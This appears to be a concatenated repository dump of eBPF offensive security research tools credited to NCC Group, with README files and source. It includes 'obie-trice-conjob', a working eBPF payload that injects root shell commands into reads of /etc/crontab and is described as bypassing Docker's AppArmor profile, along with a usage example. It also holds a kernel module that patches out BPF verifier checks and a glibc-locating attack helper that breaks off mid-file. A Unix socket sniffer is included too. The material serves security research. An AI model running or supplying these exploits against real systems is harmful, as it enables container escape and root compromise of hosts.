-------------------------------------------------------------------------------- 1 | # obie-trice-conjob 2 | 3 | > _"And Moby, you can get stomped by Obie"_ -Eminem 4 | 5 | libbpf/bpf_load-based raw tracepoint eBPF privesc payload that intercepts reads 6 | for `/etc/crontab` to inject arbitrary shell commands into the data read back 7 | by user space. Because it uses the raw tracepoint API, it does not rely on 8 | sysfs (`/sys/**`) and is therefore not blocked by Docker's AppArmor profile. 9 | 10 | ***Note:*** The build toolchain is a slightly modified version of the one from 11 | [xdp-project/xdp-tutorial](https://github.com/xdp-project/xdp-tutorial). 12 | Additionally, `common/bpf_load.{c,h}` are sourced from 13 | [`linux/samples/bpf`](https://github.com/torvalds/linux/tree/master/samples/bpf). 14 | 15 | ## Dependencies 16 | 17 | ```bash 18 | # on Ubuntu 18.04 19 | $ sudo apt-get install build-essential clang llvm git libelf-dev xxd 20 | ``` 21 | 22 | ## Usage 23 | 24 | ```bash 25 | $ git submodule update --init # pulls in libbpf/ 26 | $ make 27 | $ file conjob 28 | conjob: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=fbefdcf7c3c9263cf6fa7d132304e2593787baa8, stripped 29 | $ sudo docker run -it --cap-add SYS_ADMIN -v $(pwd):/tmp:ro alpine:latest sh 30 | / # /tmp/conjob '( echo "# id" ; id ) > /tmp/conjob' 31 | loaded... 32 | 33 | ``` 34 | 35 | ```bash 36 | $ cat /etc/crontab 37 | SHELL=/bin/sh 38 | * * * * * root ( echo "# id" ; id ) > /tmp/conjob 39 | ############################################################################### 40 | ############################################################################### 41 | ############################################################################### 42 | ############################################################################### 43 | ############################################################################### 44 | ############################################################################### 45 | ############################################################################### 46 | ############################################################################### 47 | ######################### 48 | ``` 49 | -------------------------------------------------------------------------------- /obie-trice-conjob/conjob.c: -------------------------------------------------------------------------------- 1 | // # ./conjob '( echo "# id" ; id ) > /tmp/conjob' 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #include "bpf_load.h" 11 | #include "common_user_bpf.h" 12 | 13 | #include "kern.o.h" 14 | 15 | void print_usage(char** argv) { 16 | fprintf(stderr, "usage: %s [target pid] [printk|comm_map]\n", argv[0]); 17 | exit(1); 18 | } 19 | 20 | int main(int argc, char** argv) { 21 | if (argc < 2) { 22 | print_usage(argv); 23 | } 24 | 25 | if (!load_bpf_file_from_buffer(kern_o, kern_o_len)) { 26 | return 1; 27 | } 28 | 29 | uint32_t key = 0; 30 | if (argc > 2) { 31 | uint64_t pid = (uint64_t)atoi(argv[2]); 32 | bpf_map_update_elem(map_fd[1], &key, &pid, BPF_ANY); 33 | } 34 | 35 | if (argc > 3) { 36 | if (strcmp("printk", argv[3]) != 0 && strcmp("comm_map", argv[3]) != 0) { 37 | print_usage(argv); 38 | } 39 | } 40 | 41 | char const* prefix = "SHELL=/bin/sh\n* * * * * root "; 42 | char payload[0x1000]; 43 | strcpy(payload, prefix); 44 | strncpy(&payload[strlen(prefix)], argv[1], sizeof(payload)-strlen(prefix)-1); 45 | size_t l = strlen(payload); 46 | payload[l] = '\n'; 47 | l += 1; 48 | memset(&payload[l], '#', sizeof(payload)-l); 49 | payload[0x1000-1] = '\n'; 50 | bpf_map_update_elem(map_fd[2], &key, payload, BPF_ANY); 51 | 52 | time_t base_time = time(NULL); 53 | if (base_time == -1) { 54 | perror("time"); 55 | return 1; 56 | } 57 | bpf_map_update_elem(map_fd[3], &key, &base_time, BPF_ANY); 58 | 59 | puts("loaded..."); 60 | 61 | if (argc > 3) { 62 | if (strcmp("printk", argv[3]) == 0) { 63 | read_trace_pipe(); 64 | } else if (strcmp("comm_map", argv[3]) == 0) { 65 | char clear[256] = {0}; 66 | while (1) { 67 | char buf[256]; 68 | int err = bpf_map_lookup_elem(map_fd[0], &key, buf); 69 | if (!err) { 70 | size_t l = strlen(buf); 71 | if (l > 0) { 72 | puts(buf); 73 | } 74 | } 75 | bpf_map_update_elem(map_fd[0], &key, clear, BPF_ANY); 76 | sleep(1); 77 | } 78 | } 79 | } else { 80 | while (1) { 81 | sleep(1); 82 | } 83 | } 84 | 85 | return 0; 86 | } 87 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_tmux_x11.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_tmux_x11_current_terminal_pid(): 5 | 6 | term_pids = [] 7 | if (not os.path.exists('/usr/bin/wmctrl')): 8 | sys.stderr.write('command not found: wmctrl\n') 9 | sys.stderr.write('\texcludeownterminal requires wmctrl\n') 10 | sys.exit(1) 11 | # get pids of all windows 12 | window_pids = [pid.split(' ')[3] for pid in check_output(['wmctrl','-lp'], 13 | shell=False).strip().split('\n')] 14 | # remove duplicates 15 | window_pids = list(set(window_pids)) 16 | 17 | # begin going up procfs, getting ppid and comm of our parent's parent process 18 | with open('/proc/self/status', 'r') as proc_stat: 19 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 20 | 21 | # keep going up procfs, if pid is 1 we've hit the top 22 | while (ppid != '1'): 23 | status_file = '/proc/{}/status'.format(ppid) 24 | with open(status_file, 'r') as proc_stat: 25 | stat_data = proc_stat.read().split('\n') 26 | comm = stat_data[0].split('\t')[1] 27 | ppid = stat_data[6].split('\t')[1] 28 | 29 | # we've reached tmux pid 30 | if comm[:4] == 'tmux': 31 | uid = stat_data[8].split('\t')[1] 32 | tmux_user_socket = '/tmp/tmux-{}/default'.format(uid) 33 | try: 34 | # assuming default tmux socket location and default name, 35 | # get list of client pids 36 | tmux_client_pids = check_output(['tmux', '-S', tmux_user_socket, 37 | 'lsc', '-F', '#{client_pid}'],shell=False).strip().split('\n') 38 | # go up each tmux client procfs 39 | # compare against window_pids 40 | for client_pid in tmux_client_pids: 41 | client_proc = '/proc/{}/status'.format(client_pid) 42 | with open(client_proc, 'r') as c_proc_file: 43 | c_ppid = c_proc_file.read().split('\n')[6].split('\t')[1] 44 | 45 | while(c_ppid != '1'): 46 | if c_ppid not in term_pids: 47 | for wp in window_pids: 48 | if (c_ppid == wp): 49 | term_pids.append(c_ppid) 50 | break 51 | 52 | client_proc = '/proc/{}/status'.format(c_ppid) 53 | with open(client_proc, 'r') as c_proc_file: 54 | c_ppid = c_proc_file.read().split('\n')[6].split('\t')[1] 55 | 56 | return term_pids 57 | 58 | except CalledProcessError as ex: 59 | sys.stderr.write('tmux lsc: non 0 exit') 60 | 61 | sys.stderr.write('not all terminals found\n') 62 | sys.exit(1) 63 | -------------------------------------------------------------------------------- /unixdump/unixdump/term_tmux_wayland.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from subprocess import check_output 4 | def get_tmux_wayland_current_terminal_pid(): 5 | 6 | term_pids = [] 7 | # retrieve processes using /dev/ptmx i.e. terminal emulators 8 | with open(os.devnull, 'w') as DEVNULL: 9 | window_pids = check_output(['fuser','/dev/ptmx'], shell=False, stderr=DEVNULL).strip().split(' ') 10 | wp_no_tmux = [] 11 | # remove tmux from the list of pids 12 | for wp in window_pids: 13 | comm_file = '/proc/{}/comm'.format(wp) 14 | if open(comm_file).read().strip()[:4] != 'tmux': 15 | wp_no_tmux.append(wp) 16 | window_pids = wp_no_tmux 17 | 18 | # begin going up procfs, getting ppid and comm of our parent's parent process 19 | with open('/proc/self/status', 'r') as proc_stat: 20 | ppid = proc_stat.read().split('\n')[6].split('\t')[1] 21 | status_file = '/proc/{}/status'.format(ppid) 22 | 23 | # keep going up procfs, if pid is 1 we've hit the top 24 | while (ppid != '1'): 25 | status_file = '/proc/{}/status'.format(ppid) 26 | with open(status_file, 'r') as proc_stat: 27 | stat_data = proc_stat.read().split('\n') 28 | comm = stat_data[0].split('\t')[1] 29 | ppid = stat_data[6].split('\t')[1] 30 | 31 | # we've reached tmux pid 32 | if comm[:4] == 'tmux': 33 | uid = stat_data[8].split('\t')[1] 34 | tmux_user_socket = '/tmp/tmux-{}/default'.format(uid) 35 | try: 36 | # assuming default tmux socket location and default name, 37 | # get list of client pids 38 | tmux_client_pids = check_output(['tmux', '-S', tmux_user_socket, 39 | 'lsc', '-F', '#{client_pid}'],shell=False).strip().split('\n') 40 | # go up each tmux client procfs 41 | # compare against window_pids 42 | for client_pid in tmux_client_pids: 43 | client_proc = '/proc/{}/status'.format(client_pid) 44 | with open(client_proc, 'r') as c_proc_file: 45 | c_ppid = c_proc_file.read().split('\n')[6].split('\t')[1] 46 | 47 | while(c_ppid != '1'): 48 | if c_ppid not in term_pids: 49 | for wp in window_pids: 50 | if (c_ppid == wp): 51 | term_pids.append(c_ppid) 52 | break 53 | 54 | client_proc = '/proc/{}/status'.format(c_ppid) 55 | with open(client_proc, 'r') as c_proc_file: 56 | c_ppid = c_proc_file.read().split('\n')[6].split('\t')[1] 57 | 58 | return term_pids 59 | 60 | except CalledProcessError as ex: 61 | sys.stderr.write('tmux lsc: non 0 exit') 62 | 63 | sys.stderr.write('not all terminals found\n') 64 | sys.exit(1) 65 | -------------------------------------------------------------------------------- /uprobe-ulose/uprobe.c: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (c) 2021 NCC Group Security Services, Inc. All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, 8 | this list of conditions and the following disclaimer. 9 | 10 | 2. Redistributions in binary form must reproduce the above copyright 11 | notice, this list of conditions and the following disclaimer in the 12 | documentation and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 18 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 19 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 20 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 21 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 22 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 23 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | // $ gcc -std=c11 -Wall -Wextra -pedantic -o uprobe uprobe.c 28 | #ifndef _GNU_SOURCE 29 | #define _GNU_SOURCE 30 | #endif 31 | 32 | #include 33 | #include 34 | #include 35 | #include 36 | 37 | #include 38 | #include 39 | #include 40 | 41 | int main(int argc, char** argv) { 42 | int pid = -1; 43 | int off = 1; 44 | 45 | if ((argc & 1) == 0) { 46 | off += 1; 47 | pid = atoi(argv[1]); 48 | } 49 | 50 | if (argc < 3 || pid == 0 || ((argc - off) & 1) != 0) { 51 | printf("usage: %s [pid] < ..>\n", argv[0]); 52 | return 1; 53 | } 54 | 55 | for (int i = off; i < argc; i+=2) { 56 | const char* path = argv[i]; 57 | const char* off_str = argv[i+1]; 58 | printf("attempting to hook %s @ %s\n", path, off_str); 59 | 60 | struct perf_event_attr attr = { 0 }; 61 | 62 | attr.size = sizeof(attr); 63 | attr.type = 7; // uprobe 64 | attr.sample_period = 1; 65 | attr.wakeup_events = 1; 66 | attr.namespaces = 1; 67 | attr.exclude_kernel = 1; 68 | attr.config = 0; 69 | attr.uprobe_path = (uintptr_t)(void *)path; 70 | attr.probe_offset = strtoull(off_str, NULL, 16); 71 | 72 | int cpu = 0; 73 | int fd = syscall(__NR_perf_event_open, &attr, pid, cpu, -1, PERF_FLAG_FD_CLOEXEC); 74 | if (fd < 0) { 75 | perror("perf_event_open(...)"); 76 | return 1; 77 | } 78 | 79 | if (ioctl(fd, PERF_EVENT_IOC_ENABLE, 0) < 0) { 80 | perror("ioctl(fd, PERF_EVENT_IOC_ENABLE, 0)"); 81 | return 1; 82 | } 83 | } 84 | puts("uprobes applied..."); 85 | 86 | while (1) { 87 | sleep(5); 88 | } 89 | 90 | return 0; 91 | } 92 | -------------------------------------------------------------------------------- /obie-trice-conjob/common/common.mk: -------------------------------------------------------------------------------- 1 | # Common Makefile parts for BPF-building with libbpf 2 | # -------------------------------------------------- 3 | # SPDX-License-Identifier: (GPL-2.0 OR BSD-2-Clause) 4 | # 5 | # This file should be included from your Makefile like: 6 | # COMMON_DIR = ../common/ 7 | # include $(COMMON_DIR)/common.mk 8 | # 9 | # It is expected that you define the variables: 10 | # XDP_TARGETS and USER_TARGETS 11 | # as a space-separated list 12 | # 13 | LLC ?= llc 14 | CLANG ?= clang 15 | CC ?= gcc 16 | 17 | XDP_C = ${XDP_TARGETS:=.c} 18 | XDP_OBJ = ${XDP_C:.c=.o} 19 | USER_C := ${USER_TARGETS:=.c} 20 | USER_OBJ := ${USER_C:.c=.o} 21 | 22 | # Expect this is defined by including Makefile, but define if not 23 | COMMON_DIR ?= ../common/ 24 | 25 | OBJECT_LIBBPF = $(LIBBPF_DIR)/libbpf.a 26 | 27 | # Extend if including Makefile already added some 28 | #COMMON_OBJS += $(COMMON_DIR)/common_params.o 29 | 30 | # Create expansions for dependencies 31 | COMMON_H := ${COMMON_OBJS:.o=.h} 32 | 33 | EXTRA_DEPS += 34 | 35 | # BPF-prog kern and userspace shares struct via header file: 36 | KERN_USER_H ?= $(wildcard common_kern_user.h) 37 | 38 | CFLAGS += -I$(LIBBPF_DIR)/root/usr/include/ 39 | # Extra include for Ubuntu issue #44 40 | CFLAGS += -I/usr/include/x86_64-linux-gnu 41 | CFLAGS += -I$(COMMON_DIR)/../headers/ 42 | LDFLAGS ?= -L$(LIBBPF_DIR) 43 | 44 | LIBS = -l:libbpf.a -lelf -lz $(USER_LIBS) 45 | 46 | all: llvm-check $(USER_TARGETS) $(XDP_OBJ) 47 | 48 | .PHONY: clean $(CLANG) $(LLC) 49 | 50 | clean: 51 | $(MAKE) -C $(LIBBPF_DIR) clean 52 | $(MAKE) -C $(COMMON_DIR) clean 53 | rm -f $(USER_TARGETS) $(XDP_OBJ) $(USER_OBJ) 54 | rm -f *.ll 55 | rm -f *.o.h 56 | rm -f *~ 57 | 58 | # For build dependency on this file, if it gets updated 59 | COMMON_MK = $(COMMON_DIR)/common.mk 60 | 61 | llvm-check: $(CLANG) $(LLC) 62 | @for TOOL in $^ ; do \ 63 | if [ ! $$(command -v $${TOOL} 2>/dev/null) ]; then \ 64 | echo "*** ERROR: Cannot find tool $${TOOL}" ;\ 65 | exit 1; \ 66 | else true; fi; \ 67 | done 68 | 69 | $(OBJECT_LIBBPF): 70 | @if [ ! -d $(LIBBPF_DIR) ]; then \ 71 | echo "Error: Need libbpf submodule"; \ 72 | echo "May need to run git submodule update --init"; \ 73 | exit 1; \ 74 | else \ 75 | cd $(LIBBPF_DIR) && $(MAKE) all; \ 76 | mkdir -p root; DESTDIR=root $(MAKE) install_headers; \ 77 | fi 78 | 79 | # Create dependency: detect if C-file change and touch H-file, to trigger 80 | # target $(COMMON_OBJS) 81 | $(COMMON_H): %.h: %.c 82 | touch $@ 83 | 84 | # Detect if any of common obj changed and create dependency on .h-files 85 | $(COMMON_OBJS): %.o: %.h 86 | make -C $(COMMON_DIR) 87 | 88 | $(XDP_OBJ): %.o: %.c Makefile $(COMMON_MK) $(KERN_USER_H) $(EXTRA_DEPS) 89 | $(CLANG) -S \ 90 | -target bpf \ 91 | -D __BPF_TRACING__ \ 92 | $(CFLAGS) \ 93 | -Wall \ 94 | -Wno-unused-value \ 95 | -Wno-pointer-sign \ 96 | -Wno-compare-distinct-pointer-types \ 97 | -Werror \ 98 | -O2 -emit-llvm -c -o ${@:.o=.ll} $< 99 | $(LLC) -march=bpf -filetype=obj -o $@ ${@:.o=.ll} 100 | xxd -i $@ > $@.h 101 | 102 | 103 | $(USER_TARGETS): %: %.c $(XDP_OBJ) $(OBJECT_LIBBPF) Makefile $(COMMON_MK) $(COMMON_OBJS) $(KERN_USER_H) 104 | $(CC) -Wall -static $(CFLAGS) $(LDFLAGS) -o $@ $(COMMON_OBJS) \ 105 | $< $(LIBS) 106 | strip $@ 107 | -------------------------------------------------------------------------------- /yolo-ebpf/yolo_ebpf.c: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2018 NCC Group Security Services, Inc. All rights reserved. 2 | // Licensed under Dual BSD/GPLv2 per the repo LICENSE file. 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | MODULE_LICENSE("Dual BSD/GPL"); 14 | 15 | #define PROT_READ 0x1 16 | #define PROT_WRITE 0x2 17 | #define PROT_EXEC 0x4 18 | 19 | static uint8_t hook_func[] = { 20 | 0xeb, 0x08, // jmp a 21 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, // NOPs to be filled in 22 | 0x4c, 0x8b, 0x1d, 0xf1, 0xff, 0xff, 0xff, // mov r11,QWORD PTR [rip+0xfffffffffffffff1] # 2 23 | 0x41, 0xff, 0xe3 // jmp r11 24 | }; 25 | 26 | #define PAYLOAD hook_func 27 | 28 | #define DO_EXPAND(VAL) 0x0 ## VAL 29 | #define EXPAND(VAL) DO_EXPAND(VAL) 30 | 31 | #ifndef HOOK1_HEX 32 | #error HOOK1_HEX not defined 33 | #elif (EXPAND(HOOK1_HEX) == 0x0) 34 | #error HOOK1_HEX is empty (maybe wrong symbol name?) 35 | #endif 36 | 37 | #ifndef HOOK2_HEX 38 | #error HOOK2_HEX not defined 39 | #elif (EXPAND(HOOK2_HEX) == 0x0) 40 | #error HOOK2_HEX is empty (maybe wrong symbol name?) 41 | #endif 42 | 43 | #define RAW_CONCAT(a, b) a ## b 44 | #define CONCAT(a, b) RAW_CONCAT(a, b) 45 | 46 | static uint8_t* check_reg_arg_addr = (void*)(CONCAT(0x0, HOOK1_HEX) + 0x5); 47 | static uint8_t* check_reg_arg_end = NULL; 48 | static uint8_t check_reg_arg_orig[sizeof(PAYLOAD)] = { 0 }; 49 | 50 | static uint8_t* __check_map_access_addr = (void*)(CONCAT(0x0, HOOK2_HEX) + 0x5); 51 | static uint8_t* __check_map_access_end = NULL; 52 | static uint8_t __check_map_access_orig[sizeof(PAYLOAD)] = { 0 }; 53 | 54 | static int __check_map_access_hook(struct bpf_verifier_env *env, u32 regno, int off, 55 | int size, bool zero_size_allowed) { 56 | //printk("__check_map_access_hook\n"); 57 | return 0; 58 | } 59 | 60 | static int check_reg_arg_hook(struct bpf_verifier_env *env, u32 regno, 61 | /*enum reg_arg_type*/ int t) { 62 | //printk("check_reg_arg_hook\n"); 63 | //printk("env: %p\n", env); 64 | //printk("regno: %u\n", regno); 65 | 66 | struct bpf_reg_state *regs = env->cur_state->regs; 67 | for (size_t i=0; i < MAX_BPF_REG; i++) { 68 | //regs[i].type = PTR_TO_STACK; 69 | regs[i].smin_value = 1; 70 | regs[i].smax_value = 1; 71 | regs[i].umin_value = 0; 72 | regs[i].umax_value = 0; 73 | } 74 | 75 | return 0; 76 | } 77 | 78 | static inline void hook_function(void* hook, uint8_t* orig, uint8_t* func_addr, uint8_t** func_end) { 79 | size_t hook_val = (uintptr_t)hook; 80 | uint8_t mod_payload[sizeof(PAYLOAD)]; 81 | 82 | *func_end = &func_addr[sizeof(PAYLOAD)-1]; 83 | for (size_t i=0; i < sizeof(PAYLOAD); i++) { 84 | orig[i] = func_addr[i]; 85 | } 86 | 87 | unsigned int level1 = 0; 88 | unsigned int level2 = 0; 89 | pte_t *pte1 = lookup_address((unsigned long)func_addr, &level1); 90 | pte_t *pte2 = lookup_address((unsigned long)*func_end, &level2); 91 | set_pte_atomic(pte1, pte_mkwrite(*pte1)); 92 | set_pte_atomic(pte2, pte_mkwrite(*pte2)); 93 | 94 | memcpy(mod_payload, &PAYLOAD, sizeof(PAYLOAD)); 95 | memcpy(&mod_payload[2], &hook_val, sizeof(hook_val)); 96 | 97 | for (size_t i=0; i < sizeof(PAYLOAD); i++) { 98 | //printk("func_addr[%lu] = 0x%02hhx\n", i, mod_payload[i]); 99 | func_addr[i] = mod_payload[i]; 100 | } 101 | 102 | set_pte_atomic(pte1, pte_wrprotect(*pte1)); 103 | set_pte_atomic(pte2, pte_wrprotect(*pte2)); 104 | } 105 | 106 | static inline void unhook_function(uint8_t* orig, uint8_t* func_addr, uint8_t* func_end) { 107 | unsigned int level1 = 0; 108 | unsigned int level2 = 0; 109 | pte_t *pte1 = lookup_address((unsigned long)func_addr, &level1); 110 | pte_t *pte2 = lookup_address((unsigned long)func_end, &level2); 111 | set_pte_atomic(pte1, pte_mkwrite(*pte1)); 112 | set_pte_atomic(pte2, pte_mkwrite(*pte2)); 113 | 114 | for (size_t i=0; i < sizeof(PAYLOAD); i++) { 115 | func_addr[i] = orig[i]; 116 | } 117 | 118 | set_pte_atomic(pte1, pte_wrprotect(*pte1)); 119 | set_pte_atomic(pte2, pte_wrprotect(*pte2)); 120 | } 121 | 122 | static int __init mod_entry_func(void) { 123 | printk("init yolo-ebpf\n"); 124 | 125 | hook_function(&check_reg_arg_hook, check_reg_arg_orig, check_reg_arg_addr, &check_reg_arg_end); 126 | hook_function(&__check_map_access_hook, __check_map_access_orig, __check_map_access_addr, &__check_map_access_end); 127 | 128 | return 0; 129 | } 130 | 131 | static void __exit mod_exit_func(void) { 132 | printk("exiting yolo-ebpf\n"); 133 | 134 | unhook_function(check_reg_arg_orig, check_reg_arg_addr, check_reg_arg_end); 135 | unhook_function(__check_map_access_orig, __check_map_access_addr, __check_map_access_end); 136 | } 137 | 138 | module_init(mod_entry_func); 139 | module_exit(mod_exit_func); 140 | -------------------------------------------------------------------------------- /unixdump/README.md: -------------------------------------------------------------------------------- 1 | # unixdump 2 | _"tcpdump for unix domain sockets"_ 3 | 4 | `unixdump` is a powerful command-line Unix domain socket "packet" capturer. It 5 | is an eBPF-based kernel tracing tool that extracts, processes, and dumps all 6 | data sent over unix domain sockets across an entire Linux host with support 7 | for performant in-kernel filters for a wide range of filtering granularity. It 8 | enables manual traffic inspection of Unix socket traffic between processes, 9 | including ancillary data, such as file descriptors and Unix credentials. 10 | 11 | # Installation 12 | 13 | ## BCC 14 | 15 | `unixdump` depends on the BCC eBPF tracing tool framework. See the 16 | [BCC install instructions](https://github.com/iovisor/bcc/blob/master/INSTALL.md) 17 | for your distribution. We recommend building and installing BCC from 18 | [source](https://github.com/iovisor/bcc/blob/master/INSTALL.md#source). 19 | 20 | ***Note:*** While BCC updates may result in breakages, the current version of 21 | `unixdump` is known to work with version [0.24.0](https://github.com/iovisor/bcc/releases/tag/v0.24.0) 22 | on Ubuntu 20.04 when using clang/llvm 10 from (bcc's 23 | build hardcodes llvm 10 paths). If you are having issues with `unixdump`, 24 | please make sure you are not running an out-of-date version of BCC (such as if 25 | you installed the [Ubuntu packages](https://github.com/iovisor/bcc/blob/master/INSTALL.md#ubuntu---binary)). 26 | 27 | ## unixdump 28 | 29 | ### Quickstart 30 | 31 | ``` 32 | $ docker run --rm -it --privileged -v /lib/modules:/lib/modules:ro -v /sys:/sys -v /usr/src:/usr/src:ro alpine:edge 33 | / # apk add bcc-tools bcc-doc py3-pip procps 34 | ... 35 | / # pip install unixdump 36 | ... 37 | / # # [leave shell open] 38 | ``` 39 | 40 | ``` 41 | $ sudo nsenter -a -t /bin/sh 42 | / # unixdump -s /run/docker.sock 43 | ``` 44 | 45 | ``` 46 | $ docker ps 47 | ``` 48 | 49 | ### Via pip 50 | 51 | ``` 52 | sudo -H pip3 install unixdump 53 | ``` 54 | 55 | ### From source 56 | 57 | ``` 58 | sudo python3 setup.py install 59 | ``` 60 | 61 | or 62 | 63 | ``` 64 | python3 setup.py bdist_wheel 65 | sudo -H pip3 install ./dist/unixdump-*.whl 66 | ``` 67 | 68 | # Usage 69 | 70 | `unixdump` is best used with filters. Several of the important ones are defined 71 | [below](#Options), and the rest can be listed with `--help`. To dump all Unix 72 | domain socket traffic of a system (sans the terminal process rendering the 73 | output), run `unixdump` without any arguments: 74 | 75 | ***Note:*** `unixdump` requires `CAP_SYS_ADMIN` privileges and full access to 76 | `sysfs`/`debugfs`. 77 | 78 | ``` 79 | sudo unixdump 80 | ``` 81 | 82 | For an example use case, let's say we know the program creates a Unix domain 83 | socket with random characters that begins with `/tmp/domain-socket-`. We can 84 | limit our output to only sockets beginning with that string: 85 | 86 | ``` 87 | sudo unixdump -b -s '/tmp/domain-socket' 88 | ``` 89 | 90 | The output can be further restricted using combinations of `unixdump` filter 91 | options. 92 | 93 | # Options 94 | 95 | `unixdump` provides many different arguments to filter output and fine tune 96 | performance. Below are some of the more notable options: 97 | 98 | - `-s, --socket`: When the user knows the exact name of the socket path, this is 99 | the option to use. By specifying an empty string like so `-s ''`, `unixdump` 100 | will filter on unnamed sockets. 101 | 102 | - `-@, --base64`: To filter on binary abstract namespace keys, this option 103 | instructs `unixdump` to parse the `-b`/`-s` options as base64. 104 | 105 | - `-b, --beginswith`: One of `unixdump`'s most useful filters is to match starting 106 | sequences of socket paths. This proves extremely helpful when the program creates 107 | socket paths ending with random characters yet the beginning is unique and constant. 108 | This makes filtering possible without knowing the entire socket name ahead of time. 109 | 110 | - `-p, --pid`: To home in on a specific process (and anything communicating 111 | with it), use this option. 112 | 113 | - `-x, --exclude`: For when the user is listening for general traffic and wants to 114 | hide noisy processes such as `Xorg`. This argument takes a space separated list 115 | of `pids` to exclude. 116 | 117 | - `-t, --excludeownterminal`: (requires `wmctrl`) Attempts to exclude the current terminal process 118 | from capture. Currently supports Wayland and X11, and the `tmux` and `screen` 119 | terminal multiplexers. 120 | ***Note:*** screen is not currently supported on Wayland 121 | 122 | - `-l, --ancillarydata`: For those who want to only watch for traffic containing 123 | ancillary data. This will provide the file descriptors or Unix credentials that 124 | were sent. 125 | 126 | - `-o, --dir`: To save output into separate files based on `pid` pairs. The 127 | option `-c, --color` can also be set to add color like in wireshark. 128 | 129 | - `-B, --extract`: Extract the buffer contents from a file saved by `--dir` 130 | and output it to binary in separate client and server files. 131 | -------------------------------------------------------------------------------- /glibcpwn/findglibc.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2018 NCC Group Security Services, Inc. All rights reserved. 2 | # Licensed under Dual BSD/GPLv2 per the repo LICENSE file. 3 | 4 | from __future__ import absolute_import, division, print_function, unicode_literals 5 | from bcc import BPF 6 | import argparse 7 | import ctypes 8 | import sys 9 | import time 10 | 11 | from base64 import b64decode 12 | from binascii import hexlify 13 | 14 | from subprocess import check_output, CalledProcessError 15 | import os 16 | import multiprocessing 17 | 18 | 19 | text = """ 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | #define UINT8_MAX (255) 28 | #define UINT32_MAX (4294967295UL) 29 | 30 | typedef struct notify { 31 | uint8_t data[128]; 32 | } notify_t; 33 | BPF_PERF_OUTPUT(output); 34 | 35 | inline static void notify(notify_t* n, struct pt_regs* ctx) { 36 | output.perf_submit(ctx, n, sizeof(notify_t)); 37 | } 38 | /* 39 | notify_t n; 40 | #pragma unroll 41 | for (size_t i = 0; i < sizeof(n.data); i++) { 42 | n.data[i] = 0; 43 | } 44 | notify(&n, ctx); 45 | */ 46 | 47 | const size_t syscall_setup = 0x0000011eb8ca8949; 48 | inline static size_t get_timerfd_settime_addr(size_t ret_addr) { 49 | //00000000001225d0 : 50 | // 1225d0: 49 89 ca mov r10,rcx 51 | // 1225d3: b8 1e 01 00 00 mov eax,0x11e 52 | // 1225d8: 0f 05 syscall 53 | 54 | uint8_t* call = (uint8_t*)(ret_addr - 0x5); // relative offset call - e8 XX XX XX XX 55 | uint8_t opcodes[2]; 56 | bpf_probe_read(&opcodes, 1, call); 57 | if (opcodes[0] != 0xe8) { 58 | return 0; 59 | } 60 | int call_off; 61 | bpf_probe_read(&call_off, sizeof(call_off), &call[1]); 62 | 63 | uint8_t* call_addr = (uint8_t*)((size_t)call + call_off + 5); 64 | size_t bytes; // = ((size_t*)call_addr)[0]; 65 | bpf_probe_read(&bytes, sizeof(bytes), call_addr); 66 | 67 | if (bytes == syscall_setup) { // direct 68 | return (size_t)call_addr; 69 | } 70 | // check for plt 71 | bpf_probe_read(&opcodes, 2, call_addr); 72 | if (opcodes[0] != 0xff || opcodes[1] != 0x25) { 73 | return 0; 74 | } 75 | int jmp_off; 76 | bpf_probe_read(&jmp_off, sizeof(jmp_off), &call_addr[2]); 77 | size_t* jmp_addr_addr = (size_t*)((size_t)call_addr + jmp_off + 6); 78 | uint8_t* jmp_addr; 79 | bpf_probe_read(&jmp_addr, sizeof(jmp_addr), jmp_addr_addr); 80 | bpf_probe_read(&bytes, sizeof(bytes), jmp_addr); 81 | 82 | if (bytes == syscall_setup) { 83 | return (size_t)jmp_addr; 84 | } 85 | return 0; 86 | } 87 | 88 | int kprobe__sys_timerfd_settime( 89 | struct pt_regs *ctx, 90 | int fd, int flags, 91 | //struct itimerspec __user const* new_value, 92 | size_t new_value, 93 | struct itimerspec __user * old_value) { 94 | 95 | size_t pid_tgid = bpf_get_current_pid_tgid(); 96 | size_t pid = (u32)(pid_tgid >> 32); 97 | 98 | if (pid != """ + sys.argv[1] + """) { 99 | return 0; 100 | } 101 | 102 | struct itimerspec __user const* nv = (struct itimerspec __user const*)new_value; 103 | 104 | size_t* scanner = (size_t*)new_value; 105 | size_t stack = 0; 106 | size_t timerfd_settime_addr = 0; 107 | size_t stack_ret_addr = 0; 108 | 109 | #pragma unroll 110 